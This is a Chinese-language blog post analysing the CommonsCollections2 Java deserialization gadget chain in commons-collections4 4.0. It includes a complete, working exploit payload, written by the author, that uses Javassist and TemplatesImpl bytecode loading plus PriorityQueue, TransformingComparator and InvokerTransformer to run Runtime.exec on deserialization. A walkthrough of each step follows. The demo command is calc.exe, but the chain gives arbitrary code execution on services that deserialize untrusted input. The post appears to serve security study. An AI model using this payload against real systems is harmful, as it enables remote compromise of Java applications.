CommonsCollections2 (CC2链)
说明
导入依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
利用链
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
简化后的payload
贴上自己写的简化版payload:
package com.ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.ibatis.javassist.*;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonCollections2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass doCalc = pool.makeClass("DoCalc");
CtClass abstractTranslet=pool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
doCalc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
doCalc.setSuperclass(abstractTranslet);
byte[] bytes1 = doCalc.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","ZeanHike");
setFieldValue(templates,
"_bytecodes",
new byte[][]{
bytes1
});
InvokerTransformer doNewTransformer = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
TransformingComparator transformingComparator = new TransformingComparator((Transformer) doNewTransformer);
PriorityQueue queue = new PriorityQueue(2,transformingComparator);
setFieldValue(queue,"size",2);
Object[] q=new Object[]{templates,templates};
setFieldValue(queue,"queue",q);
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
byteArrayOutputStream.flush();
byte[] bytes = byteArrayOutputStream.toByteArray();
//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field1 = obj.getClass().getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj,value);
}
}
分析正文
这里用了CB1中的TemplatesImpl那条利用链,不同的是CB1是利用getOutputProperties()触发newTransformer(),而这条利用链是直接method.invoke()触发newTransformer()
我们跟着利用链梳理下来:
反序列化PriorityQueue时,触发了PriorityQueue的readObject
而readObject最后一定会触发heapify(),进入heapify方法内部
这里想要触发siftDown要保证循环条件成立(i>=0),size至少要为2,满足循环条件后,调用siftDown()
siftDown()方法里调用要调用siftDownUsingComparator要满足comparator不为空,
进入siftDownUsingComparator方法内部,可以看到这里要进入循环的条件是(k<half),而half为size右移一位,k为0,所以size至少要为2
然后进入TransformingComparator的compare方法,这里调用了transform方法,而这个transformer我们可以指定值为InvokerTransformer,这样就可以执行我们指定的方法了
上图调用了InvokerTransformer的transform()方法,可以根据对象执行对应方法
我们可以让他执行TemplatesImpl类的newTransformer()方法
newTransformer方法触发了我们想要的getTransletInstance()
需要满足TemplatesImpl类的属性_name不为空,_class为空,这样就可以进入defineTransletClasses()
defineTransletClasses()就是根据字节码去加载类,放到_class属性中
然后回到getTransletInstance()中,
他去实例化每个_class属性存放的类,执行里面的构造方法
分析结束
然后开始一步步构造对象
首先创建一个恶意类,在他的构造函数里放入恶意代码
ClassPool pool = ClassPool.getDefault();
CtClass doCalc = pool.makeClass("DoCalc");//创建一个类名为DoCalc的类
CtClass abstractTranslet=pool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
doCalc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");//创建一个无参构造函数,并将恶意代码写入
doCalc.setSuperclass(abstractTranslet);//设置恶意类的父类
byte[] bytes1 = doCalc.toBytecode();//转化为字节码
然后将恶意类放入TemplatesImpl的_bytecodes属性,这样到时候就可以将恶意类加载到_class属性,然后实例化恶意类,执行无参构造函数,从而执行恶意代码,_name属性前面说过不能为空,不然会在getTransletInstance方法里直接返回
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","ZeanHike");
setFieldValue(templates,
"_bytecodes",
new byte[][]{
bytes1
});
需要将执行newTransformer方法的InvokerTransformer封装到TransformingComparator类的transformer属性中,目的是当TransformingComparator的compare方法执行时,触发InvokerTransformer的transform方法
InvokerTransformer doNewTransformer = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
TransformingComparator transformingComparator = new TransformingComparator((Transformer) doNewTransformer);
最后创建一个反序列化对象,前面说过要满足size至少大于2的条件,我们再将TransformingComparator传入PriorityQueue类作为他的属性comparator的值,这样可以使在siftDownUsingComparator方法中,触发comparator.compare()方法时会走到TransformingComparator的compare()方法,再将templates封装到PriorityQueue中作为他的属性queue的值,这样当执行InvokerTransformer的transform方法时,确保执行方法的对象的类是TemplatesImpl,这样才能跟newTransformer()方法关联起来
PriorityQueue queue = new PriorityQueue(2,transformingComparator);
setFieldValue(queue,"size",2);
Object[] q=new Object[]{templates,templates};
setFieldValue(queue,"queue",q);
分析完毕
执行payload
召唤出神兽
请登录后发表评论
注册
社交帐号登录